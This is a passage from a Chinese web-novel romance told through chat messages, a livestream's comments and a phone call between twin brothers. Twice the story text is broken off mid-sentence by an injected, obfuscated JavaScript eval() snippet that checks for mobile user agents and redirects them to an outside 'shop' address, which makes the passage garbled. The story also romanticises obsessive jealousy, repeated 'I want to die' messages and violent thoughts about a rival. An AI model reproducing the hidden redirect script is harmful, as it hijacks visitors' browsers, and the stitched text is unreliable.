薛年年知道她刚刚不该发出声音,可她因为感冒嗓音变化很大,她也管不了那么多了。 屏幕上肖序没动,却似乎也没认出她,薛年年放下了一点心,打字道: 【》》明明你就没有在忙,为什么说不方便啊】 【》》是出什么事了吗?】 【》》不要骗我嘛……】 “没骗你。” 肖余望着屏幕,面色潮红,无奈得都不知道该怎么办了,“刚刚我一直在想你。” 【》》想我,就会不方便吗?】 “嗯。” 他低声回应了一句,声音听起来格外沙哑。 肖余心中不舍,却还是狠下心,毅然决然地关掉了视频:【先别看了,我现在的样子又不好看,很狼狈吧】 【……】 【等我洗完手再慢慢回复你】 【如果刚才告诉你我在干什么,你肯定又会不理我了】 35. 第一次撬墙角 【如果刚才告诉你我在干什么,你肯定又会不理我了】 他匆匆忙忙地把视频电话挂断,还自顾自说了一些她听不懂的话。 薛年年都没明白他的意思: 【》》所以你刚才究竟是在干嘛啊,为什么不方便?】 听到她的话,对面沉默了一瞬,但也仅仅只有一瞬。 【……】 他缓缓发来六个点,紧跟着三个字: 【在奖励】 薛年年呆住了。 她回想起刚才视频里“肖序”通红的眼角,略微汗湿的额发,还有那很可疑的“洗手”,脸瞬间变得滚烫: 【》》笨蛋!!!!!!】 【》》你每次想我的时候都在干这种事吗???!!】 【你看,我一说你就生气,都告诉你不方便了】肖余赶紧去洗了个手来回她。 薛年年恼羞成怒:【》》那你就别做那种事啊!】 【我是个成年男性而且身体很健康好不好,做这种事不是很正常吗?】 【》》才不正常!你一边想我一边干那种事很奇怪!!】 【做那种事的时候,不想你才怪吧……】 肖余都被她搞得快没脾气了。 薛年年满脸通红地啪啪打字:【以前不都说是奖励吗?你自己私底下——是什么意思,这还能算奖励吗?!】 【都吵架了还要管我啊】 肖余嘴角下撇,打字道:【一吵架就不理人,你难道不过分吗?】 【……】 【选一个吧,以后再也不和我吵架,或者我就经常想着你奖励自己】 【》》我才不要选!!!】薛年年觉得他才过分。 【》》只是让你白天不要给我发消息而已,很难吗!】 拿出你每天装高冷的那份气势来! 肖余也生气了:【就是很难!而且你的理由根本就不成立,不想被朋友发现——我们都谈恋爱了凭什么不让他们发现,我很拿不出手吗?】 【图片】 【图片】 【图片】 薛年年看到自己屏幕上一连弹出了好多张“肖序”刚拍的照片,横的,竖的,叼衣服露腹肌的,没露腹肌露扔子的…… 【》》你发这么多照片给我干什么?】她迷惑了。 肖余气得还想再拍几张,却只能先关掉相机回复她:【让你看看什么叫颜值皇帝,脸蛋天才!】 【我死了这个世界上所有男人的颜值都要上升一名!】 【这样的男朋友都要被你嫌弃拿不出手吗???】 薛年年:“……” 薛年年都无语了:【》》我没嫌弃你】 肖余吐掉叼着的衣服下摆:【那你是不爱我了吗?还是说已经喜欢上了其他人】 【……】 【是你那个朋友对不对?】 【我就知道是他!!!他不仅阻止我白天联系你,还想把你从我身边撬走,我早就知道他不安好心!】 那个不安好心,阻止你白天联系我的人就是你自己! 笨蛋!!! 薛年年觉得他真是无理取闹,她在帮他隐瞒身份好不好! 【》》昨天你就总说这种没道理的话!】 【》》还总说我用朋友来威胁你……】 【》》“这算威胁吗?是威胁吧”】(引用) 【》》“我算什么???一条你召之即来挥之即去的狗吗?”】(引用) 【》》我从来就没想过要让你当什么狗!】 薛年年气呼呼地发送道。 对方却丝毫没有犹豫就回复:【为什么不这么想,快想!我乐意给你当狗!】 薛年年:【》》???】 【重点是这个吗?重点是挥之即去!】 【你就算赶我走我也是不会走的!还没做好心理准备吗?】 从昨天吵架开始,肖余的分离焦虑就严重得要压垮他了。 薛年年有点晕了,没理解他是什么意思:【》》那你昨晚还说不理我了……】 【》》“我也不想理你了”】(引用) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095559|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【》》“去找你的好朋友吧,白天不想回我消息,那晚上也别回”】(引用) 她把他昨晚干的好事全部一条一条引用下来。 肖余看到瞬间又炸了:【别把这些屁话当真,难道我说要分手就真的会分吗?肯定分不了的啊!!!】 他看着这几条“罪证”还想再多解释两句,却忽然意识到了一件重要的事: 【老婆……那你后来,真的去找你的好朋友了吗?】 【》》……】 薛年年都懒得理他了。 他脑子里都是些什么废料啊? 难道线下肖序冷着脸的时候,也在想这些狗屁东西吗? 她只回复了个省略号,就再也不说话了。 肖余望着这零星的几个点,以为她是默认,眼圈瞬间就红了:【你真的去找他了啊……】 【……】 【好想死】 【好想死】 【好想死】 【他能每天见到你,还能摸到你抱到你……】 【朋友,同学,身边亲近的人——还有什么?是青梅竹马还是破镜重圆的前男友?】 【……他对你很好吗?】 【好想死】 薛年年只在一片“好想死”中间看到了他的胡言乱语:【》》清醒一点,就算是前男友也不可能让他抱的】 【竟然真的让他抱了吗???】 肖余真的要哭了。 薛年年觉得他真是瞎了:【……你再仔细看看我说了什么】 【好想死】 【好想死】 【……】 【你要是因为他和我分手,我就立刻马上掐死我自己!】 【好想死】 【不行……不可能!】 【我不分手!!!】 肖余一把擦掉眼角的水渍,把侧脸都搓红了:【老婆,这种垃圾贱人王八蛋如果想上位只能等我死!】 【我不分手他就永远都是小三!】 【你看到没有!我说他是小三!!!】 36. 第一次妥协 【我不分手他就永远都是小三!】 【你看到没有!我说他是小三!!!】肖余要被他脑海中各种恐怖的想象淹没了。 薛年年觉得他真有活力,骂自己都能骂得那么起劲。 她呆呆地眨了一下眼,发送道: 【》》看到了看到了】你说你自己是小三。 赶在他发狗疯到崩溃之前,薛年年又发了一个【摸摸头】的表情,拍拍他说: 【》》我不会因为他和你分手的,你也别掐死你自己,好不好?】 肖余感觉到头顶被她温柔地摸了摸,哭得把眼角都搓红了: 【我会听你话的……】眼眶中的液体砸在了屏幕上,他赶忙又发送道: 【甜心你不要生气】 【转账】 【转账】 【转账】 【这些够不够,你先拿着,以后我会给你更多更好的东西】 薛年年看到这一连串的转账记录,觉得他一言不合就转账的习惯真是有点奇怪。 她想了想,又拍拍他说:【》》没有更好的东西也无所谓啦】 【》》我没有生气,只是觉得你这样……很有活力?最好一直这么有活力,一直健康下去,不要老是想死,好吗?】 肖余望着她的话,眼角红得更厉害了。 他绑着绷带的右手颤抖着蜷紧,小心翼翼道:【老婆我错了……】 【》》错哪了?】 【……我不该乱吃醋】 【》》还有呢?】 【不该干涉你,你想交什么朋友都是你的自由】 【我只是想告诉你,我会比他们对你更好】 【》》真是这么想的吗?知道了就要做到哦】 【……】 当然是假的。 他们最好都去死。 肖余简直想把笔捅进她那个“好朋友”的眼球里。 他直接回避了前一个问题,乖乖回答道:【我会做到的】 肖余其实早就明白只有乖点才会得到爱,坏狗只会被嫌弃。 他明明在小时候被关在笼子里时就明白这个道理,为什么还是控制不住呢? 【抱歉,我是次品,是个劣质品】 肖余眼角又红了,无法抑制道,【是我的错,我没控制好,你嫌弃我也是应该的……】 薛年年觉得他也有点自责太过了,发了一个【敲他头】的表情包说: 【》》为什么总想着白天也要给我发消息呢?】 【因为如果没有白天的话,我们相处的时间就太短了】 【男人过了二十五就是六十】 【我还有几年就到二十五岁了,到时候年老色衰,你就不爱我了!】 薛年年:“…………” 薛年年都无语了,肖余还在认认真真地分析:【你看我现在身体很好,长得也好,不该抓紧时间多用用我吗?】 【二十五岁以后的男的就不行了!】 【二十五以下除了我以外的男的也都不行!!】 【实况图片:嘴叼着衣服下摆,手指从腹肌指到人鱼线】 【反正我最好用!老婆你真的不打算早点用用看吗?】 薛年年懒得理他,他要是不那么骚哄哄的,她也不至于线下和他当朋友后都想躲着他走。 黑的白的他都能说成黄的。 薛年年直接道:【》》看看猫】 肖余:【?】 【》》我说看看猫】 【》》不给看吗?】 【……】 【图片:猫咪怼镜头】 他乖乖跑去把猫抱过来,给她拍了一张照片。 薛年年隔空撸了把猫,又发送道:【》》再看看你】 【图片:猫咪怼脸2】、【图片:猫咪怼脸3】…… 他听话地还在给她不停发猫猫图,薛年年拍拍他:【》》我说看你!】 【……看我?】 【》》嗯,之前视频里你好像很难过】 薛年年记得他当时眼睛有点红,问道:【》》还在哭吗?】 【没有!】肖余赶紧把眼角的水渍都擦干净,逞强道:【都说了只是在奖励,哪有时间哭】 薛年年不觉得哭是一件很丢脸的事,但她也没多问,只说:【》》要到吃饭的时间了,去吃点东西吧,让身体暖和起来就不会多想啦】 吃饱饭就能解决好多问题。 【》》还有,运营先生让我来问问你,晚上要直播吗?】 【……这样还能播吗?】 【图片:灰蓝色的眼睛和红眼圈】 【》》当然可以】 薛年年真诚地夸夸道,【和以前的样子有点不一样,但还是很好看!】 【可我不想让别人看到我这个样子……】肖余又揉了一下自己通红的眼睛。 薛年年才不管他想不想:【》》别闹脾气,赶紧去做正事!】 虽然今早肖序不同意和她在学校里装不熟,但一码归一码,她还是要好好报答他! 这种事一记在心里就像任务一样,最好早点解决。 她把“肖序”赶着去给直播做准备了,也给运营卢剑说了一声。 卢剑本来都做好今晚也拿不到平台工资的准备了。 结果薛年年竟然不到半小时就解决了肖余,还把人哄得晕头转向,听话得像只被顺了毛的狼崽。 他现在看她简直跟看神一样,一连给她滑跪了好几次,就当拜财神。 薛年年也抓紧时间,又去吃了晚饭和晚上的感冒药,等着看肖序直播。 时间很快到了预定点。 秒针指向整点的那一刻,直播间打开,早已等待着的粉丝观众们如潮水般涌了进来。 弹幕瞬间开始变得热闹—— 【等死我了,鱼崽昨晚没播我今天一整天都不得劲!】 【鱼崽晚上好~大家晚上好!】 【一日不见,如隔三秋啊呜呜呜呜呜】 【快出来让妈妈看看,想死你了我的宝】 【就一天没播,你们至于吗?卧槽,鱼崽的眼睛……这是怎么了?】 【眼睛?咋啦咋啦,受伤了??不要啊!主播眼睛最好看了!】 【他就只露了眼睛哪来的最……】 【不对——鱼崽,这是,刚哭过,吗?】 【好像是】 【等等】 【……】 【……】 不停滚动的弹幕不知为何陷入了诡异的沉默。 忽然,不知道是谁,仿佛被一根针戳破。 礼物开始眼花缭乱地刷屏,弹幕像是疯了般滚动起来—— 【啊啊啊啊啊啊啊啊啊啊啊啊啊】 【啊啊啊啊啊啊】 【哎哟小可怜怎么哭啦?】 【楼上别装了,我已经听到你变态的笑声了】 【男人的眼泪女人的兴奋剂】 【眼睛红红的好想欺负】 【平时这小子简直狂得没边了,有谁能把他弄哭成这个样子啊?】 【不管是谁我都心怀感恩![捧心][捧心]】 【颜值在金字塔尖的人竟然也会有烦恼吗……】 【你别说,这狗崽子平时仗着自己长得好,总是游刃有余——今天这副样子,真是别有一番风味!】 【赶紧点个外卖来配他今晚这个脆弱的小样】 【点什么?】 【奶茶吧】 【我点了炸鸡】 【晚上吃披萨!】 肖余看着弹幕要气死了,他都被情敌伤成这幅鬼样子竟然还被弹幕拿去下奶茶。 他恼羞成怒道:“眼睛都搓红了有什么好看的?” 【不是喜欢看男的哭,是喜欢看帅哥哭】 【丑的翻个白眼就走了】 【你们坏坏坏!】 【人之常情】 【鱼崽皮肤太白了,一哭就白里透红的,永爱】 【硬硬的白巧克力竟然是流心的吗……好美味!!!】 肖余好不容易情绪缓过来,今天直播就只准备了聊天,结果现在连天都聊不下去了。 他被小三气得脑袋发懵,本想换个聊天的背景音乐来转换一下心情。 屏幕却在这时突然像炸开了一样。 消息提示框弹出了好多个大额礼物的闪光动画: 【红色礼物+1】,【红色礼物+5】 【红色礼物+10000】…… 红色是最贵的礼物类型,伴随着豪华的彩光,紧跟着的就是一个留言—— 【安慰】 安慰? 肖余看到送礼的ID愣住了。 之前滚动到花屏的留言甚至都有一瞬间的暂停。 猛然反应过来后,弹幕才又开始刷屏:【哇靠!!!!】 【哇靠,老板大气!!】 【救命啊这得花多少钱???】 【礼物动画比我的命还长……】 【等等,这是之前那个老粉姐姐的ID吧?】 【好像是哎!姐真的特别温柔呜呜呜,我那天看完鱼崽直播,晚上做梦都梦到姐了】 【是安慰!姐一边欣赏小狗哭哭一边还有理智打赏安慰哈哈哈哈】 【哇这么爱的吗?!!】 【磕到了……温柔大小姐和脆弱地雷小狗】 【好富的大小姐——不管了,鱼崽一边去,富婆姐姐看看我啊!!】 【花这么多钱我都心痛死,姐一点都不心痛】 薛年年确实一点都不心痛。 这本来就是肖序自己的钱,而且她刚刚点了好几下,甚至没花到那部分钱的百分之一。 既然肖序需要认可,那打赏肯定就是对他最好的认可和报答! 薛年年又点了好几下礼物。 屏幕上,肖余望着久久不散的“安慰”两个字,眼圈莫名又红了。 【哎哟别哭别哭,我都有点不忍心了】 【鱼崽究竟怎么啦?】 【你看榜一的姐都在安慰你了,不赶紧洗洗干净把自己送到姐床上去,还哭呢?】 薛年年还没说什么,肖余看到这条弹幕却瞬间又被勾起了伤心事: “我想把我自己送过去啊,但是她不要我!!” 弹幕以为他开玩笑呢,也跟着打趣道: 【鱼崽你,唉,姐你也是,唉】 【姐听我一句劝,主播虽然性格恶劣,但是脸和身材实在美丽,所以缺德的样子反而很有嚼劲——先吃到嘴里试试看再说!】 【就是就是】 “就是就是,试试才知道好不好!”肖余也觉得很对。 薛年年又点了两个礼物说:【不想试,不喜欢说话不听的人】 肖余眼神瞬间呆滞:“不喜欢——我不听话吗?我很不听话吗??” 【你哪次听过话了……之前弹幕说什么你都不听,还凶!】 【不仅凶还毒舌,一劝就炸!!】 【运营哥都控诉过你好几回了】 【老和人唱反调,叛逆期吗你?】 【姐不喜欢不听话的也是理所当然吧】 弹幕一桩桩一件件细数着他的罪状。 肖余就只记得那个“不喜欢”了,急忙道:“不行不行不行不行不行……” 薛年年听得脑袋疼,发道:【闭嘴】 “哼嗯。”他看到她的这两个字下意识就闭嘴了。 弹幕瞧见他这副委屈巴巴的样子,立刻全体震惊:【啊!】【啊!!!】 【哇哦……】 【哇!!!!!】 【训狗现场吗?】 【第一次!!!主播竟然听得懂人话了,以前有人让他闭嘴他不更大声就不错了,跟只比格一样!】 【还是姐有本事,鱼崽有福了!】 【钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111221|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪爱就在哪!姐一看你今天难过就猛猛打钱,都这么爱你了,还在这闹啥呢小笨蛋?】 【你小子这么霸道又恶劣,竟然也有被训的一天啊!哈!哈!】 【唉——说着说着就更磕了,鱼崽之前看起来总是颠颠的,今天在姐面前这么乖,我都有点不习惯了】 【没发现吗?鱼崽以前就算在播自毁倾向都很严重,一直都这样……现在有人能管住他真好啊】 【最好珍惜这么温柔的姐,不然就把你细细切作臊子!】 …… 薛年年说完让他“闭嘴”后,就在直播的背景音乐中,因为感冒药的副作用迷迷糊糊地又睡了一会。 醒来的时候,直播已经结束了。 屏幕上只留有“肖序”给她发来的话: 【你好像真的很爱我……】 【嗯,你很爱我】 【你爱我】 【不会有人能把我们分开的】 【……】 【以后白天我不会给你发消息了老婆,我不想打扰到你,我会听话的】 薛年年立刻发了个【敲他头】的表情说:【》》都告诉过你不是打扰了!只是会不方便而已】 【》》如果有紧急的事还是可以发啦,也不是说就完全不行】 对方像是一直等待着她,看到她的消息后立马回复了:【嗯……】 薛年年暂时安下心,发送道:【今天白天已经休息得够久啦,现在睡饱了】 肖余盯着屏幕上的这句话,原本还有些灰暗的蓝眼睛瞬间亮了起来。 他知道这是在纵容他现在去随便“骚扰”她的意思。 他赶忙贴了上去,把早就准备好的东西一股脑发给她看: 【甜心你看!】 【图片:希腊圣托里尼】【图片:意大利米兰】【图片:法国巴黎】…… 【有喜欢的吗?以后想和你一起去】他们家在欧洲很多地方都有庄园,看她喜欢哪些,以后都可以带她去。 【》》好漂亮!】 薛年年根本就没意识到图片上那些漂亮的风景和建筑全是他家的,只以为是他从旅游网站找来的网图。 她从来没出过国,以往只听高中的地理老师讲过那些遥远的地方。 希腊是亚热带地中海气候吗? 薛年年回想着那些为了高考学过的知识,看着【希腊】的图片—— 白色的建筑,蔚蓝色的海水,阳光,沙滩……她还从来没有见过海。 【》》喜欢这个】她把图片引用了下来。 肖余已经蠢蠢欲动想去准备了:【海滩吗……】 【在海滩上虽然有点硬,但是你喜欢我就喜欢】 【任何姿势我都可以!】 【或者甜心你考虑一下能看到海滩的阳台或者沙发怎么样?】 在海滩,阳台,沙发——干什么? 薛年年:【》》???】 【》》你怎么总在想这些东西啊!】她的脸瞬间红了。 【我还在想可以和你一起看海平面上的日落和日出】 【》》……然后接着做那种事吗?】 【嗯,浪漫得要死】 喜欢喜欢喜欢,好喜欢她。 肖余看到屏幕上,她只又小小地抱怨了两句,就开始在网上搜希腊有什么好看的,好玩的东西发给他,还说她自己不会游泳。 海滩也是私人的,到时候只会有他们两个人,她想做什么都可以。 肖余正想说他游泳也很厉害,肯定能把她教会,忽然,他的手机猛地响了起来。 屏幕上显示了一个熟悉的名字。 肖余本来想当没看到,接着给薛年年发消息,铃声自然挂断后,对方却又打了一次。 就像是不按照他的规矩来就不行一样。 肖余最终还是不耐烦地接了起来:“我的亲哥,你又怎么了?” “这时候你不该在英国吗,那么多事怎么还有时间给我打电话?” “我需要问你一个重要的问题。” 肖序刚从私人飞机下来。 接近深秋,伦敦的天气已经变得阴冷又潮湿。 他随手接过一旁侍从递来的灰色风衣,沉声道:“你只需要回答,是或者不是。” 肖余只想快点结束:“什么重要的事?赶紧问,我忙着呢。” 肖序思索了一瞬,缓慢道:“……一个女孩如果不想在学校里靠近我,是不是心理就在抗拒我?” “……” 等了很久,对面一直沉默着。 肖序略有些疑惑,问:“怎么不说话?” “每次你跟我说起她的事,就像是一个AI忽然有了自我意识一样惊悚……”肖余都有点无语了。 在遇到他那个莫名其妙的嫂子之前,肖序的活人感只堪比一根成年的香蕉。 他只会在他自己设定好的程序里,做正确的事情。 肖余一直觉得他只是在模仿正常人类而已: “她当然是在抗拒你,这难道有什么疑问吗?” 果然。 肖序缓缓叹气,“我该怎么做?” “你问我???” 肖余惊了,“那天你在车上对她做了那么粗暴的事,还想让她不要抗拒你,你脑子没问题吧——不对,你就是有问题。” “我很正常。” 肖序面无表情道,“可以看我最近的体检单。” 他还真把体检病历立刻发给他了。 肖余盯着屏幕,表情皱得像一只风干的袜子:“别给我看这种晦气的东西。” “说吧,不挂电话是还想让我做什么?” “你是我身边唯一一个有稳定关系的人。” “……所以?”肖余忽然有了些不好的预感。 “教我。” 肖序声音冷淡道,“不管用什么方法,让她从身体到内心都接受我,不再想其他人。”